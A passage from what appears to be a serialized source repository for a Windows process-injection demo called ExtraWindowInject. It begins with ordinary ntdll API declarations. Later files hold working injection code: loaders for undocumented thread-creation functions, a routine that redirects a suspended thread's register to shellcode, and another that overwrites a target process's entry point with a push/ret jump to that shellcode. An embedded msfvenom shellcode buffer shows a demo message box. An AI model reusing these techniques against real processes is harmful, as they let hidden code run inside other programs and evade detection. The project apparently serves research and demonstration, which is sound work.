SECTION_INFORMATION_CLASS, *PSECTION_INFORMATION_CLASS;\n\n\n/*++\n\n NtCreateSection\n ===============\n\n Creates a section object.\n\n SectionHandle - Points to a variable that will receive the section\n object handle if the call is successful.\n\n DesiredAccess - Specifies the type of access that the caller requires\n to the section object. This parameter can be zero, or any combination\n of the following flags:\n\n SECTION_QUERY - Query access\n SECTION_MAP_WRITE - Can be written when mapped\n SECTION_MAP_READ - Can be read when mapped\n SECTION_MAP_EXECUTE - Can be executed when mapped\n SECTION_EXTEND_SIZE - Extend access\n SECTION_ALL_ACCESS - All of the preceding +\n STANDARD_RIGHTS_REQUIRED\n\n ObjectAttributes - Points to a structure that specifies the object s attributes.\n OBJ_OPENLINK is not a valid attribute for a section object.\n\n MaximumSize - Optionally points to a variable that specifies the size,\n in bytes, of the section. If FileHandle is zero, the size must be\n specified; otherwise, it can be defaulted from the size of the file\n referred to by FileHandle.\n\n SectionPageProtection - The protection desired for the pages\n of the section when the section is mapped. This parameter can take\n one of the following values:\n\n PAGE_READONLY\n PAGE_READWRITE\n PAGE_WRITECOPY\n PAGE_EXECUTE\n PAGE_EXECUTE_READ\n PAGE_EXECUTE_READWRITE\n PAGE_EXECUTE_WRITECOPY\n\n AllocationAttributes - The attributes for the section. This parameter must\n be a combination of the following values:\n\n SEC_BASED 0x00200000 // Map section at same address in each process\n SEC_NO_CHANGE 0x00400000 // Disable changes to protection of pages\n SEC_IMAGE 0x01000000 // Map section as an image\n SEC_VLM 0x02000000 // Map section in VLM region\n SEC_RESERVE 0x04000000 // Reserve without allocating pagefile storage\n SEC_COMMIT 0x08000000 // Commit pages; the default behavior\n SEC_NOCACHE 0x10000000 // Mark pages as non-cacheable\n\n FileHandle - Identifies the file from which to create the section object.\n The file must be opened with an access mode compatible with the protection\n flags specified by the Protect parameter. If FileHandle is zero,\n the function creates a section object of the specified size backed\n by the paging file rather than by a named file in the file system.\n\n--*/\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateSection(\n OUT PHANDLE SectionHandle,\n IN ACCESS_MASK DesiredAccess,\n IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n IN PLARGE_INTEGER MaximumSize OPTIONAL,\n IN ULONG SectionPageProtection,\n IN ULONG AllocationAttributes,\n IN HANDLE FileHandle OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwCreateSection(\n OUT PHANDLE SectionHandle,\n IN ACCESS_MASK DesiredAccess,\n IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n IN PLARGE_INTEGER MaximumSize OPTIONAL,\n IN ULONG SectionPageProtection,\n IN ULONG AllocationAttributes,\n IN HANDLE FileHandle OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenSection (\n OUT PHANDLE SectionHandle,\n IN ACCESS_MASK DesiredAccess,\n IN POBJECT_ATTRIBUTES ObjectAttributes\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwOpenSection (\n OUT PHANDLE SectionHandle,\n IN ACCESS_MASK DesiredAccess,\n IN POBJECT_ATTRIBUTES ObjectAttributes\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtMapViewOfSection (\n IN HANDLE SectionHandle,\n IN HANDLE ProcessHandle,\n IN OUT PVOID *BaseAddress,\n IN ULONG ZeroBits,\n IN ULONG CommitSize,\n IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,\n IN OUT PULONG ViewSize,\n IN SECTION_INHERIT InheritDisposition,\n IN ULONG AllocationType,\n IN ULONG Protect\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwMapViewOfSection (\n IN HANDLE SectionHandle,\n IN HANDLE ProcessHandle,\n IN OUT PVOID *BaseAddress,\n IN ULONG ZeroBits,\n IN ULONG CommitSize,\n IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,\n IN OUT PULONG ViewSize,\n IN SECTION_INHERIT InheritDisposition,\n IN ULONG AllocationType,\n IN ULONG Protect\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtUnmapViewOfSection (\n IN HANDLE ProcessHandle,\n IN PVOID BaseAddress\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwUnmapViewOfSection (\n IN HANDLE ProcessHandle,\n IN PVOID BaseAddress\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtExtendSection (\n IN HANDLE SectionHandle,\n IN OUT PLARGE_INTEGER SectionSize\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwExtendSection (\n IN HANDLE SectionHandle,\n IN OUT PLARGE_INTEGER SectionSize\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQuerySection (\n IN HANDLE SectionHandle,\n IN SECTION_INFORMATION_CLASS SectionInformationClass,\n OUT PVOID SectionInformation,\n IN ULONG Length,\n OUT PULONG ResultLength OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQuerySection (\n IN HANDLE SectionHandle,\n IN SECTION_INFORMATION_CLASS SectionInformationClass,\n OUT PVOID SectionInformation,\n IN ULONG Length,\n OUT PULONG ResultLength OPTIONAL\n );\n\n\n//-----------------------------------------------------------------------------\n// Synchronization\n\n//\n// Wait type\n//\n\ntypedef enum _WAIT_TYPE {\n WaitAll,\n WaitAny\n } WAIT_TYPE;\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtWaitForSingleObject (\n IN HANDLE Handle,\n IN BOOLEAN Alertable,\n IN PLARGE_INTEGER Timeout OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwWaitForSingleObject (\n IN HANDLE Handle,\n IN BOOLEAN Alertable,\n IN PLARGE_INTEGER Timeout OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtWaitForMultipleObjects (\n IN ULONG Count,\n IN HANDLE Handle[],\n IN WAIT_TYPE WaitType,\n IN BOOLEAN Alertable,\n IN PLARGE_INTEGER Timeout OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwWaitForMultipleObjects (\n IN ULONG Count,\n IN HANDLE Handle[],\n IN WAIT_TYPE WaitType,\n IN BOOLEAN Alertable,\n IN PLARGE_INTEGER Timeout OPTIONAL\n );\n\n\n//-----------------------------------------------------------------------------\n// Event support\n\ntypedef enum _EVENT_INFORMATION_CLASS {\n EventBasicInformation // = 0\n} EVENT_INFORMATION_CLASS;\n\ntypedef struct _EVENT_BASIC_INFORMATION {\n EVENT_TYPE EventType;\n LONG EventState;\n} EVENT_BASIC_INFORMATION, *PEVENT_BASIC_INFORMATION;\n\n//\n// Event handling routines\n//\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateEvent (\n OUT PHANDLE EventHandle,\n IN ACCESS_MASK DesiredAccess,\n IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n IN EVENT_TYPE EventType,\n IN BOOLEAN InitialState\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwCreateEvent (\n OUT PHANDLE EventHandle,\n IN ACCESS_MASK DesiredAccess,\n IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n IN EVENT_TYPE EventType,\n IN BOOLEAN InitialState\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtClearEvent (\n IN HANDLE Handle\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwClearEvent (\n IN HANDLE Handle\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtPulseEvent (\n IN HANDLE Handle,\n OUT PLONG PreviousState OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwPulseEvent (\n IN HANDLE Handle,\n OUT PLONG PreviousState OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtResetEvent (\n IN HANDLE Handle,\n OUT PLONG PreviousState OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwResetEvent (\n IN HANDLE Handle,\n OUT PLONG PreviousState OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetEvent (\n IN HANDLE Handle,\n OUT PLONG PreviousState OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwSetEvent (\n IN HANDLE Handle,\n OUT PLONG PreviousState OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenEvent (\n OUT PHANDLE EventHandle,\n IN ACCESS_MASK DesiredAccess,\n IN POBJECT_ATTRIBUTES ObjectAttributes\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwOpenEvent (\n OUT PHANDLE EventHandle,\n IN ACCESS_MASK DesiredAccess,\n IN POBJECT_ATTRIBUTES ObjectAttributes\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryEvent (\n IN HANDLE EventHandle,\n IN EVENT_INFORMATION_CLASS EventInfoClass,\n OUT PVOID EventInfo,\n IN ULONG Length,\n OUT PULONG ResultLength OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryEvent (\n IN HANDLE EventHandle,\n IN EVENT_INFORMATION_CLASS EventInfoClass,\n OUT PVOID EventInfo,\n IN ULONG Length,\n OUT PULONG ResultLength OPTIONAL\n );\n\n\n//-----------------------------------------------------------------------------\n// Security descriptor functions\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateSecurityDescriptor (\n IN PSECURITY_DESCRIPTOR SecurityDescriptor,\n IN ULONG Revision\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetDaclSecurityDescriptor(\n IN PSECURITY_DESCRIPTOR SecurityDescriptor,\n IN BOOLEAN DaclPresent,\n IN PACL Dacl OPTIONAL,\n IN BOOLEAN DaclDefaulted OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetOwnerSecurityDescriptor (\n IN PSECURITY_DESCRIPTOR SecurityDescriptor,\n IN PSID Owner OPTIONAL,\n IN BOOLEAN OwnerDefaulted OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAllocateAndInitializeSid(\n IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority,\n IN UCHAR SubAuthorityCount,\n IN ULONG SubAuthority0,\n IN ULONG SubAuthority1,\n IN ULONG SubAuthority2,\n IN ULONG SubAuthority3,\n IN ULONG SubAuthority4,\n IN ULONG SubAuthority5,\n IN ULONG SubAuthority6,\n IN ULONG SubAuthority7,\n OUT PSID *Sid\n );\n\n\nNTSYSAPI\nULONG\nNTAPI\nRtlLengthSid (\n IN PSID Sid\n );\n\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlEqualSid (\n IN PSID Sid1,\n IN PSID Sid2\n );\n\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlFreeSid(\n IN PSID Sid\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateAcl(\n IN PACL Acl,\n IN ULONG AclLength,\n IN ULONG AclRevision\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAddAccessAllowedAce(\n IN OUT PACL Acl,\n IN ULONG AceRevision,\n IN ACCESS_MASK AccessMask,\n IN PSID Sid\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAddAccessAllowedAceEx(\n IN OUT PACL Acl,\n IN ULONG AceRevision,\n IN ULONG AceFlags,\n IN ULONG AccessMask,\n IN PSID Sid\n );\n\n//-----------------------------------------------------------------------------\n// Token functions\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenProcessToken(\n IN HANDLE ProcessHandle,\n IN ACCESS_MASK DesiredAccess,\n OUT PHANDLE TokenHandle\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenThreadToken(\n IN HANDLE ThreadHandle,\n IN ACCESS_MASK DesiredAccess,\n IN BOOLEAN OpenAsSelf,\n OUT PHANDLE TokenHandle\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryInformationToken(\n IN HANDLE TokenHandle,\n IN TOKEN_INFORMATION_CLASS TokenInformationClass,\n OUT PVOID TokenInformation,\n IN ULONG TokenInformationLength,\n OUT PULONG ReturnLength\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetInformationToken(\n IN HANDLE TokenHandle,\n IN TOKEN_INFORMATION_CLASS TokenInformationClass,\n IN PVOID TokenInformation,\n IN ULONG TokenInformationLength\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtAdjustPrivilegesToken(\n IN HANDLE TokenHandle,\n IN BOOLEAN DisableAllPrivileges,\n IN PTOKEN_PRIVILEGES NewState OPTIONAL,\n IN ULONG BufferLength OPTIONAL,\n IN PTOKEN_PRIVILEGES PreviousState OPTIONAL,\n OUT PULONG ReturnLength\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtDuplicateToken(\n IN HANDLE ExistingTokenHandle,\n IN ACCESS_MASK DesiredAccess,\n IN POBJECT_ATTRIBUTES ObjectAttributes,\n IN BOOLEAN EffectiveOnly,\n IN TOKEN_TYPE TokenType,\n OUT PHANDLE NewTokenHandle\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCompareTokens(\n IN HANDLE FirstTokenHandle,\n IN HANDLE SecondTokenHandle,\n OUT PBOOLEAN IdenticalTokens\n );\n\n\n//-----------------------------------------------------------------------------\n// Symbolic links\n\n//\n// Object Manager Symbolic Link Specific Access Rights.\n//\n\n#ifndef SYMBOLIC_LINK_QUERY\n#define SYMBOLIC_LINK_QUERY (0x0001)\n#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)\n#endif\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenSymbolicLinkObject (\n OUT PHANDLE SymbolicLinkHandle,\n IN ACCESS_MASK DesiredAccess,\n IN POBJECT_ATTRIBUTES ObjectAttributes\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQuerySymbolicLinkObject (\n IN HANDLE SymbolicLinkHandle,\n OUT PUNICODE_STRING NameString,\n OUT PULONG ResultLength OPTIONAL\n );\n\n//-----------------------------------------------------------------------------\n// Loader functions\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrGetDllHandle(\n IN PWSTR DllPath OPTIONAL,\n IN PULONG DllCharacteristics OPTIONAL,\n IN PUNICODE_STRING DllName,\n OUT PVOID * DllHandle\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrGetProcedureAddress(\n IN PVOID DllHandle,\n IN PANSI_STRING ProcedureName OPTIONAL,\n IN ULONG ProcedureNumber OPTIONAL,\n OUT PVOID *ProcedureAddress\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrLoadDll(\n IN PWSTR DllPath OPTIONAL,\n IN PULONG DllCharacteristics OPTIONAL,\n IN PUNICODE_STRING DllName,\n OUT PVOID *DllHandle\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrFindEntryForAddress(\n\tIN PVOID Address,\n\tOUT PLDR_DATA_TABLE_ENTRY *Module\n\t);\n\nNTSYSAPI\nVOID\nNTAPI\n\tRtlGetCallersAddress(\n\tOUT PVOID *CallersAddress,\n\tOUT PVOID *CallersCaller\n\t);\n\n//-----------------------------------------------------------------------------\n// Functions dealing with NTSTATUS and Win32 error\n\nNTSYSAPI\nULONG\nNTAPI\nRtlNtStatusToDosError(\n NTSTATUS Status\n );\n\n\nNTSYSAPI\nULONG\nNTAPI\nRtlNtStatusToDosErrorNoTeb(\n NTSTATUS Status\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetLastNtStatus(\n );\n\n\nNTSYSAPI\nULONG\nNTAPI\nRtlGetLastWin32Error(\n );\n\n\nNTSYSAPI\nVOID\nNTAPI\nRtlSetLastWin32Error(\n ULONG WinError\n );\n\n\nNTSYSAPI\nVOID\nNTAPI\nRtlSetLastWin32ErrorAndNtStatusFromNtStatus(\n NTSTATUS Status\n );\n\n\n//-----------------------------------------------------------------------------\n// I/O functions\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtDisplayString(\n IN PUNICODE_STRING String\n );\n\n\n#ifdef __cplusplus\n} // extern \"C\"\n#endif\n\n#endif // __NTDLL_H__\n" }, { "path": "Inject/ExtraWindowInject/src/ntdll_undoc.h", "content": "#pragma once\n\n#include \n#include \"ntddk.h\"\n\n//undocumented functions from ntdll.dll\n//\n//don't forget to load functions before use:\n//load_ntdll_functions();\n\nNTSTATUS (NTAPI *NtQueueApcThread)(\n IN HANDLE ThreadHandle,\n IN PVOID ApcRoutine,\n IN PVOID ApcRoutineContext OPTIONAL,\n IN PVOID ApcStatusBlock OPTIONAL,\n IN ULONG ApcReserved OPTIONAL\n);\n\nNTSTATUS (NTAPI *ZwSetInformationThread) (\n IN HANDLE ThreadHandle,\n IN THREADINFOCLASS ThreadInformationClass,\n IN PVOID ThreadInformation,\n IN ULONG ThreadInformationLength\n);\n\nNTSTATUS (NTAPI *ZwCreateThreadEx) (\n OUT PHANDLE ThreadHandle, \n IN ACCESS_MASK DesiredAccess, \n IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, \n IN HANDLE ProcessHandle,\n IN PVOID StartRoutine,\n IN PVOID Argument OPTIONAL,\n IN ULONG CreateFlags,\n IN ULONG_PTR ZeroBits, \n IN SIZE_T StackSize OPTIONAL,\n IN SIZE_T MaximumStackSize OPTIONAL, \n IN PVOID AttributeList OPTIONAL\n);\n\nNTSTATUS (NTAPI *RtlCreateUserThread) (\n IN HANDLE ProcessHandle,\n IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,\n IN BOOLEAN CreateSuspended,\n IN ULONG StackZeroBits,\n IN OUT PULONG StackReserved,\n IN OUT PULONG StackCommit,\n IN PVOID StartAddress,\n IN PVOID StartParameter OPTIONAL,\n OUT PHANDLE ThreadHandle,\n OUT PCLIENT_ID ClientID\n);\n\n\nBOOL load_ntdll_functions()\n{\n HMODULE hNtdll = GetModuleHandleA(\"ntdll\");\n if (hNtdll == NULL) return FALSE;\n\n NtQueueApcThread = (NTSTATUS (NTAPI *)(HANDLE, PVOID, PVOID, PVOID, ULONG)) GetProcAddress(hNtdll,\"NtQueueApcThread\");\n if (NtQueueApcThread == NULL) return FALSE;\n \n ZwSetInformationThread = (NTSTATUS (NTAPI *)(HANDLE, THREADINFOCLASS, PVOID, ULONG)) GetProcAddress(hNtdll,\"ZwSetInformationThread\");\n if (ZwSetInformationThread == NULL) return FALSE;\n \n ZwCreateThreadEx = (NTSTATUS (NTAPI *) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE, PVOID, PVOID, ULONG, ULONG_PTR, SIZE_T, SIZE_T, PVOID)) GetProcAddress(hNtdll,\"ZwCreateThreadEx\");\n if (ZwCreateThreadEx == NULL) return FALSE;\n \n RtlCreateUserThread = (NTSTATUS (NTAPI *) (HANDLE, PSECURITY_DESCRIPTOR, BOOLEAN,ULONG, PULONG, PULONG, PVOID, PVOID, PHANDLE, PCLIENT_ID)) GetProcAddress(hNtdll,\"RtlCreateUserThread\");\n if (RtlCreateUserThread == NULL) return FALSE;\n\n return TRUE;\n}\n" }, { "path": "Inject/ExtraWindowInject/src/patch_context.h", "content": "#pragma once\n\n#include \n\n//32-bit version\nbool patch_context(HANDLE hThread, LPVOID remote_shellcode_ptr)\n{\n //get initial context of the target:\n BOOL res = FALSE;\n\n#if defined(_WIN64)\n WOW64_CONTEXT context;\n memset(&context, 0, sizeof(WOW64_CONTEXT));\n context.ContextFlags = CONTEXT_INTEGER;\n res = Wow64GetThreadContext(hThread, &context);\n#else\t\n CONTEXT context;\n memset(&context, 0, sizeof(CONTEXT));\n context.ContextFlags = CONTEXT_INTEGER;\n res = GetThreadContext(hThread, &context);\n#endif\n if (res == FALSE) {\n return false;\n }\n\n //if the process was created as suspended and didn't run yet, EAX holds it's entry point:\n context.Eax = (DWORD) remote_shellcode_ptr;\n\n#if defined(_WIN64)\n Wow64SetThreadContext(hThread, &context);\n#else\n res = SetThreadContext(hThread, &context);\n#endif\n if (res == FALSE) {\n return false;\n }\n printf(\"patched context -> EAX = %x\\n\", context.Eax);\n return true;\n}\n" }, { "path": "Inject/ExtraWindowInject/src/patch_ep.h", "content": "#pragma once\n#include \n#include \"ntddk.h\"\n#include \"pe_hdrs_helper.h\"\n#define PAGE_SIZE 0x1000\n\n// Get image base by a method #1:\nLPCVOID getTargetImageBase1(HANDLE hProcess)\n{\n PROCESS_BASIC_INFORMATION pbi;\n memset(&pbi, 0, sizeof(PROCESS_BASIC_INFORMATION));\n\n if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL) != 0)\n {\n printf(\"[ERROR] NtQueryInformationProcess failed\\n\");\n return NULL;\n }\n\n printf(\"PEB = %p\\n\", (LPVOID)pbi.PebBaseAddress);\n\n LPCVOID ImageBase = 0;\n SIZE_T read_bytes = 0;\n if (!ReadProcessMemory(hProcess, (BYTE*)pbi.PebBaseAddress + 8, &ImageBase, sizeof(ImageBase), &read_bytes) \n || read_bytes != sizeof(ImageBase)\n )\n {\n printf(\"[ERROR] Cannot read from PEB - incompatibile target!\\n\");\n return NULL;\n }\n return ImageBase;\n}\n\n// Get image base by a method #2:\n// WARNING: this method of getting Image Base works only if\n// the process has been created as a SUSPENDED and didn't run yet\n// - it uses specific values of the registers, that are set only in this case.\nLPCVOID getTargetImageBase2(HANDLE hProcess, HANDLE hThread)\n{\n //get initial context of the target:\n#if defined(_WIN64)\n WOW64_CONTEXT context;\n memset(&context, 0, sizeof(WOW64_CONTEXT));\n context.ContextFlags = CONTEXT_INTEGER;\n Wow64GetThreadContext(hThread, &context);\n#else\t\n CONTEXT context;\n memset(&context, 0, sizeof(CONTEXT));\n context.ContextFlags = CONTEXT_INTEGER;\n GetThreadContext(hThread, &context);\n#endif\n //get image base of the target:\n DWORD PEB_addr = context.Ebx;\n\n const SIZE_T kPtrSize = sizeof(DWORD); //for 32 bit\n DWORD targetImageBase = 0; //for 32 bit\n\n printf(\"PEB = %x\\n\", PEB_addr);\n\n if (!ReadProcessMemory(hProcess, LPVOID(PEB_addr + 8), &targetImageBase, kPtrSize, NULL)) {\n printf(\"[ERROR] Cannot read from PEB - incompatibile target!\\n\");\n return false;\n }\n return (LPCVOID)((ULONGLONG)targetImageBase);\n}\n\nbool paste_shellcode_at_ep(HANDLE hProcess, LPVOID remote_shellcode_ptr, HANDLE hThread=NULL)\n{\n LPCVOID ImageBase = NULL; //target ImageBase\n if (hThread != NULL) {\n ImageBase = getTargetImageBase2(hProcess, hThread);\n } else {\n#if defined(_WIN64)\n printf(\"[ERROR] 64bit version of this method is not implemented!\\n\");\n return false;\n#else\n ImageBase = getTargetImageBase1(hProcess);\n#endif\n }\n if (ImageBase == NULL) {\n printf(\"[ERROR] Fetching ImageBase failed!\\n\");\n return false;\n }\n printf(\"ImageBase = 0x%p\\n\", ImageBase);\n\n // read headers:\n SIZE_T read_bytes = 0;\n BYTE hdrs_buf[PAGE_SIZE];\n if (!ReadProcessMemory(hProcess, ImageBase, hdrs_buf, sizeof(hdrs_buf), &read_bytes) && read_bytes != sizeof(hdrs_buf))\n {\n printf(\"[-] ReadProcessMemory failed\\n\");\n return false;\n }\n\n // fetch Entry Point From headers\n IMAGE_NT_HEADERS32 *inh = get_nt_hrds32(hdrs_buf);\n if (inh == NULL) return false;\n\n IMAGE_OPTIONAL_HEADER32 opt_hdr = inh->OptionalHeader;\n DWORD ep_rva = opt_hdr.AddressOfEntryPoint;\n\n printf(\"Entry Point v: %x\\n\", ep_rva);\n printf(\"shellcode ptr: %p\\n\", remote_shellcode_ptr);\n\n //make a buffer to store the hook code:\n const SIZE_T kHookSize = 0x10;\n BYTE hook_buffer[kHookSize];\n memset(hook_buffer, 0xcc, kHookSize);\n\n //prepare the redirection:\n //address of the shellcode will be pushed on the stack and called via ret\n hook_buffer[0] = 0x68; //push\n hook_buffer[5] = 0xC3; //ret\n\n //for 32bit code:\n DWORD shellcode_addr = (DWORD)remote_shellcode_ptr;\n memcpy(hook_buffer + 1, &shellcode_addr, sizeof(shellcode_addr));\n\n //make a memory page containing Entry Point Writable:\n DWORD oldProtect;\n if (!VirtualProtectEx(hProcess, (BYTE*)ImageBase + ep_rva, kHookSize, PAGE_EXECUTE_READWRITE, &oldProtect)) {\n printf(\"Virtual Protect Failed!\\n\");\n return false;\n }\n\n //paste the redirection at Entry Point:\n SIZE_T writen_bytes = 0;\n if (!WriteProcessMemory(hProcess, (LPBYTE)ImageBase + ep_rva, hook_buffer, sizeof(hook_buffer) , &writen_bytes))\n {\n printf(\"[-] WriteProcessMemory failed, err = %d\\n\", GetLastError());\n return false;\n }\n\n //restore the previous access rights at entry point:\n DWORD oldProtect2;\n if (!VirtualProtectEx(hProcess, (BYTE*)ImageBase + ep_rva, kHookSize, oldProtect, &oldProtect2)) {\n printf(\"Virtual Protect Failed!\\n\");\n return false;\n }\n return true;\n}\n" }, { "path": "Inject/ExtraWindowInject/src/payload.h", "content": "#pragma once\n\n/*\nmsfvenom -a x86 --platform Windows\n-p windows/messagebox \nTEXT=\"This is an injection demo!\" \nTITLE=\"Injection Demo\" \n-f c\n*/\n\tunsigned char g_Shellcode[] =\n\"\\xd9\\xeb\\x9b\\xd9\\x74\\x24\\xf4\\x31\\xd2\\xb2\\x77\\x31\\xc9\\x64\\x8b\"\n\"\\x71\\x30\\x8b\\x76\\x0c\\x8b\\x76\\x1c\\x8b\\x46\\x08\\x8b\\x7e\\x20\\x8b\"\n\"\\x36\\x38\\x4f\\x18\\x75\\xf3\\x59\\x01\\xd1\\xff\\xe1\\x60\\x8b\\x6c\\x24\"\n\"\\x24\\x8b\\x45\\x3c\\x8b\\x54\\x28\\x78\\x01\\xea\\x8b\\x4a\\x18\\x8b\\x5a\"\n\"\\x20\\x01\\xeb\\xe3\\x34\\x49\\x8b\\x34\\x8b\\x01\\xee\\x31\\xff\\x31\\xc0\"\n\"\\xfc\\xac\\x84\\xc0\\x74\\x07\\xc1\\xcf\\x0d\\x01\\xc7\\xeb\\xf4\\x3b\\x7c\"\n\"\\x24\\x28\\x75\\xe1\\x8b\\x5a\\x24\\x01\\xeb\\x66\\x8b\\x0c\\x4b\\x8b\\x5a\"\n\"\\x1c\\x01\\xeb\\x8b\\x04\\x8b\\x01\\xe8\\x89\\x44\\x24\\x1c\\x61\\xc3\\xb2\"\n\"\\x08\\x29\\xd4\\x89\\xe5\\x89\\xc2\\x68\\x8e\\x4e\\x0e\\xec\\x52\\xe8\\x9f\"\n\"\\xff\\xff\\xff\\x89\\x45\\x04\\xbb\\x7e\\xd8\\xe2\\x73\\x87\\x1c\\x24\\x52\"\n\"\\xe8\\x8e\\xff\\xff\\xff\\x89\\x45\\x08\\x68\\x6c\\x6c\\x20\\x41\\x68\\x33\"\n\"\\x32\\x2e\\x64\\x68\\x75\\x73\\x65\\x72\\x30\\xdb\\x88\\x5c\\x24\\x0a\\x89\"\n\"\\xe6\\x56\\xff\\x55\\x04\\x89\\xc2\\x50\\xbb\\xa8\\xa2\\x4d\\xbc\\x87\\x1c\"\n\"\\x24\\x52\\xe8\\x5f\\xff\\xff\\xff\\x68\\x6d\\x6f\\x58\\x20\\x68\\x6e\\x20\"\n\"\\x44\\x65\\x68\\x63\\x74\\x69\\x6f\\x68\\x49\\x6e\\x6a\\x65\\x31\\xdb\\x88\"\n\"\\x5c\\x24\\x0e\\x89\\xe3\\x68\\x6f\\x21\\x58\\x20\\x68\\x20\\x64\\x65\\x6d\"\n\"\\x68\\x74\\x69\\x6f\\x6e\\x68\\x6e\\x6a\\x65\\x63\\x68\\x61\\x6e\\x20\\x69\"\n\"\\x68\\x20\\x69\\x73\\x20\\x68\\x54\\x68\\x69\\x73\\x31\\xc9\\x88\\x4c\\x24\"\n\"\\x1a\\x89\\xe1\\x31\\xd2\\x52\\x53\\x51\\x52\\xff\\xd0\\x31\\xc0\\x50\\xff\"\n\"\\x55\\x08\";\n" }, { "path": "Inject/ExtraWindowInject/src/pe_hdrs_helper.cpp", "content": "#include \"pe_hdrs_helper.h\"\n\nIMAGE_NT_HEADERS32* get_nt_hrds32(BYTE *pe_buffer)\n{\n if (pe_buffer == NULL) return NULL;\n\n IMAGE_DOS_HEADER *idh = (IMAGE_DOS_HEADER*)pe_buffer;\n if (idh->e_magic != IMAGE_DOS_SIGNATURE) {\n return NULL;\n }\n const LONG kMaxOffset = 1024;\n LONG pe_offset = idh->e_lfanew;\n if (pe_offset > kMaxOffset) return NULL;\n\n IMAGE_NT_HEADERS32 *inh = (IMAGE_NT_HEADERS32 *)((BYTE*)pe_buffer + pe_offset);\n return inh;\n}\n\nIMAGE_DATA_DIRECTORY* get_pe_directory32(PVOID pe_buffer, DWORD dir_id)\n{\n if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL;\n\n //fetch relocation table from current image:\n PIMAGE_NT_HEADERS32 nt_headers = get_nt_hrds32((BYTE*) pe_buffer);\n if (nt_headers == NULL) return NULL;\n\n IMAGE_DATA_DIRECTORY* peDir = &(nt_headers->OptionalHeader.DataDirectory[dir_id]);\n if (peDir->VirtualAddress == NULL) {\n return NULL;\n }\n return peDir;\n}\n" }, { "path": "Inject/ExtraWindowInject/src/pe_hdrs_helper.h", "content": "#pragma once\n#include \n\nIMAGE_NT_HEADERS32* get_nt_hrds32(BYTE 